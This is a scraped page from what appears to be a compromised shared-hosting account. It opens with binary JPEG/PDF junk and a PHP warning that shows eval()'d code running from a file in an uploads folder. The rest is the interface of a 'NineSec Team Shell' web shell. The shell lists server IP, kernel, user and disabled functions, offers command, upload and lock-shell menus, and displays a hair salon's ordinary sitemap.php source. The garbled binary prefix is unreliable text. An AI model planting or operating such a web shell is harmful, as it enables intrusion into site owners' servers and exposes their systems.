JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/prince.ranchihairsalon.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/prince.ranchihairsalon.com/public_html/sitemap.php
<?php
header('Content-Type: application/xml; charset=utf-8');
echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
        http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
    
    <?php
    // Database connection for dynamic content
    require_once 'includes/config.php';
    
    $base_url = "https://www.prince.ranchihairsalon.com";
    $current_date = date('Y-m-d');
    
    // Static pages (without .php extension due to your .htaccess)
    $static_pages = [
        ['loc' => '/', 'priority' => '1.0', 'changefreq' => 'daily'],
        ['loc' => '/about', 'priority' => '0.8', 'changefreq' => 'monthly'],
        ['loc' => '/services', 'priority' => '0.9', 'changefreq' => 'weekly'],
        ['loc' => '/products', 'priority' => '0.9', 'changefreq' => 'weekly'],
        ['loc' => '/gallery', 'priority' => '0.7', 'changefreq' => 'weekly'],
        ['loc' => '/contact', 'priority' => '0.8', 'changefreq' => 'monthly'],
        ['loc' => '/login', 'priority' => '0.4', 'changefreq' => 'monthly'],
        ['loc' => '/registration', 'priority' => '0.4', 'changefreq' => 'monthly'],
        ['loc' => '/404', 'priority' => '0.1', 'changefreq' => 'yearly'],
        ['loc' => '/500', 'priority' => '0.1', 'changefreq' => 'yearly'],
    ];
    
    // Generate static page URLs
    foreach ($static_pages as $page) {
        echo "\t<url>\n";
        echo "\t\t<loc>" . htmlspecialchars($base_url . $page['loc']) . "</loc>\n";
        echo "\t\t<lastmod>{$current_date}</lastmod>\n";
        echo "\t\t<changefreq>{$page['changefreq']}</changefreq>\n";
        echo "\t\t<priority>{$page['priority']}</priority>\n";
        echo "\t</url>\n";
    }
    
    // Service detail pages - matching your .htaccess pattern
    try {
        // Check if services table exists
        $services_exists = $pdo->query("SHOW TABLES LIKE 'services'")->fetch();
        
        if ($services_exists) {
            // Get all services
            $services_query = "
                SELECT id, service_name, slug, updated_at, created_at 
                FROM services 
                WHERE 1
                ORDER BY updated_at DESC, created_at DESC
            ";
            $services_stmt = $pdo->query($services_query);
            $services = $services_stmt->fetchAll(PDO::FETCH_ASSOC);
            
            if ($services) {
                foreach ($services as $service) {
                    // Use slug if available, otherwise create URL-friendly version
                    if (!empty($service['slug'])) {
                        $slug = $service['slug'];
                    } else {
                        // Clean service name for URL
                        $slug = strtolower(str_replace(' ', '-', preg_replace('/[^a-zA-Z0-9\s]/', '', $service['service_name'])));
                        $slug = preg_replace('/-+/', '-', $slug); // Remove multiple dashes
                    }
                    
                    // Match your .htaccess pattern: service/service-name-123-in-lalpur-ranchi
                    $service_url = "/service/" . $slug . "-" . $service['id'] . "-in-lalpur-ranchi";
                    
                    // Determine last modified date
                    if (!empty($service['updated_at']) && $service['updated_at'] != '0000-00-00 00:00:00') {
                        $lastmod = date('Y-m-d', strtotime($service['updated_at']));
                    } elseif (!empty($service['created_at']) && $service['created_at'] != '0000-00-00 00:00:00') {
                        $lastmod = date('Y-m-d', strtotime($service['created_at']));
                    } else {
                        $lastmod = $current_date;
                    }
                    
                    echo "\t<url>\n";
                    echo "\t\t<loc>" . htmlspecialchars($base_url . $service_url) . "</loc>\n";
                    echo "\t\t<lastmod>{$lastmod}</lastmod>\n";
                    echo "\t\t<changefreq>monthly</changefreq>\n";
                    echo "\t\t<priority>0.7</priority>\n";
                    echo "\t</url>\n";
                }
            }
        }
    } catch (Exception $e) {
        // Continue without service pages if error
        // Uncomment for debugging: echo "<!-- Service Error: " . htmlspecialchars($e->getMessage()) . " -->\n";
    }
    
    // Product detail pages - matching your .htaccess pattern
    try {
        // Check if products table exists
        $products_exists = $pdo->query("SHOW TABLES LIKE 'products'")->fetch();
        
        if ($products_exists) {
            // Get all products
            $products_query = "
                SELECT id, product_name, slug, created_at 
                FROM products 
                WHERE 1
                ORDER BY created_at DESC
            ";
            $products_stmt = $pdo->query($products_query);
            $products = $products_stmt->fetchAll(PDO::FETCH_ASSOC);
            
            if ($products) {
                foreach ($products as $product) {
                    // Use slug if available, otherwise create URL-friendly version
                    if (!empty($product['slug'])) {
                        $slug = $product['slug'];
                    } else {
                        // Clean product name for URL
                        $slug = strtolower(str_replace(' ', '-', preg_replace('/[^a-zA-Z0-9\s]/', '', $product['product_name'])));
                        $slug = preg_replace('/-+/', '-', $slug); // Remove multiple dashes
                    }
                    
                    // Match your .htaccess pattern: product/product-name-123-in-lalpur-ranchi
                    $product_url = "/product/" . $slug . "-" . $product['id'] . "-in-lalpur-ranchi";
                    
                    // Determine last modified date
                    if (!empty($product['created_at']) && $product['created_at'] != '0000-00-00 00:00:00') {
                        $lastmod = date('Y-m-d', strtotime($product['created_at']));
                    } else {
                        $lastmod = $current_date;
                    }
                    
                    echo "\t<url>\n";
                    echo "\t\t<loc>" . htmlspecialchars($base_url . $product_url) . "</loc>\n";
                    echo "\t\t<lastmod>{$lastmod}</lastmod>\n";
                    echo "\t\t<changefreq>monthly</changefreq>\n";
                    echo "\t\t<priority>0.6</priority>\n";
                    echo "\t</url>\n";
                }
            }
        }
    } catch (Exception $e) {
        // Continue without product pages if error
        // Uncomment for debugging: echo "<!-- Product Error: " . htmlspecialchars($e->getMessage()) . " -->\n";
    }
    
    // Service category pages from your .htaccess
    $service_categories = [
        ['url' => '/hair-patch-services-in-lalpur-ranchi', 'priority' => '0.8'],
        ['url' => '/hair-wig-services-in-lalpur-ranchi', 'priority' => '0.8'],
        ['url' => '/barber-services-in-lalpur-ranchi', 'priority' => '0.8'],
        ['url' => '/beauty-services-in-lalpur-ranchi', 'priority' => '0.8'],
    ];
    
    foreach ($service_categories as $category) {
        echo "\t<url>\n";
        echo "\t\t<loc>" . htmlspecialchars($base_url . $category['url']) . "</loc>\n";
        echo "\t\t<lastmod>{$current_date}</lastmod>\n";
        echo "\t\t<changefreq>weekly</changefreq>\n";
        echo "\t\t<priority>{$category['priority']}</priority>\n";
        echo "\t</url>\n";
    }
    
    // Product category pages from your .htaccess
    $product_categories = [
        ['url' => '/hair-patches-in-lalpur-ranchi', 'priority' => '0.7'],
        ['url' => '/hair-wigs-in-lalpur-ranchi', 'priority' => '0.7'],
        ['url' => '/hair-care-products-in-lalpur-ranchi', 'priority' => '0.7'],
        ['url' => '/beauty-products-in-lalpur-ranchi', 'priority' => '0.7'],
    ];
    
    foreach ($product_categories as $category) {
        echo "\t<url>\n";
        echo "\t\t<loc>" . htmlspecialchars($base_url . $category['url']) . "</loc>\n";
        echo "\t\t<lastmod>{$current_date}</lastmod>\n";
        echo "\t\t<changefreq>weekly</changefreq>\n";
        echo "\t\t<priority>{$category['priority']}</priority>\n";
        echo "\t</url>\n";
    }
    
    // Local SEO pages from your .htaccess
    $local_seo_pages = [
        ['url' => '/hair-salon-in-lalpur-ranchi', 'priority' => '0.9'],
        ['url' => '/barber-shop-in-lalpur', 'priority' => '0.8'],
        ['url' => '/hair-products-store-in-ranchi', 'priority' => '0.8'],
        ['url' => '/beauty-parlour-in-lalpur', 'priority' => '0.8'],
    ];
    
    foreach ($local_seo_pages as $page) {
        echo "\t<url>\n";
        echo "\t\t<loc>" . htmlspecialchars($base_url . $page['url']) . "</loc>\n";
        echo "\t\t<lastmod>{$current_date}</lastmod>\n";
        echo "\t\t<changefreq>monthly</changefreq>\n";
        echo "\t\t<priority>{$page['priority']}</priority>\n";
        echo "\t</url>\n";
    }
    
    // Dynamic category pages from database (fallback)
    try {
        // Get unique service categories from database
        $categories_query = "
            SELECT DISTINCT category 
            FROM services 
            WHERE category IS NOT NULL AND category != ''
        ";
        $categories_stmt = $pdo->query($categories_query);
        $categories = $categories_stmt->fetchAll(PDO::FETCH_COLUMN);
        
        if ($categories) {
            foreach ($categories as $category) {
                $category_slug = strtolower(str_replace('_', '-', $category));
                $category_url = "/" . $category_slug . "-services-in-lalpur-ranchi";
                
                // Check if not already added from static list
                $already_exists = false;
                foreach ($service_categories as $existing) {
                    if (strpos($existing['url'], $category_slug) !== false) {
                        $already_exists = true;
                        break;
                    }
                }
                
                if (!$already_exists) {
                    echo "\t<url>\n";
                    echo "\t\t<loc>" . htmlspecialchars($base_url . $category_url) . "</loc>\n";
                    echo "\t\t<lastmod>{$current_date}</lastmod>\n";
                    echo "\t\t<changefreq>weekly</changefreq>\n";
                    echo "\t\t<priority>0.7</priority>\n";
                    echo "\t</url>\n";
                }
            }
        }
    } catch (Exception $e) {
        // Continue without dynamic category pages
    }
    
    // Additional static pages you might add
    $additional_pages = [
        // ['loc' => '/privacy-policy', 'priority' => '0.4', 'changefreq' => 'yearly'],
        // ['loc' => '/terms', 'priority' => '0.4', 'changefreq' => 'yearly'],
        // ['loc' => '/faq', 'priority' => '0.5', 'changefreq' => 'monthly'],
    ];
    
    foreach ($additional_pages as $page) {
        echo "\t<url>\n";
        echo "\t\t<loc>" . htmlspecialchars($base_url . $page['loc']) . "</loc>\n";
        echo "\t\t<lastmod>{$current_date}</lastmod>\n";
        echo "\t\t<changefreq>{$page['changefreq']}</changefreq>\n";
        echo "\t\t<priority>{$page['priority']}</priority>\n";
        echo "\t</url>\n";
    }
    ?>
    
</urlset>

NineSec Team - 2022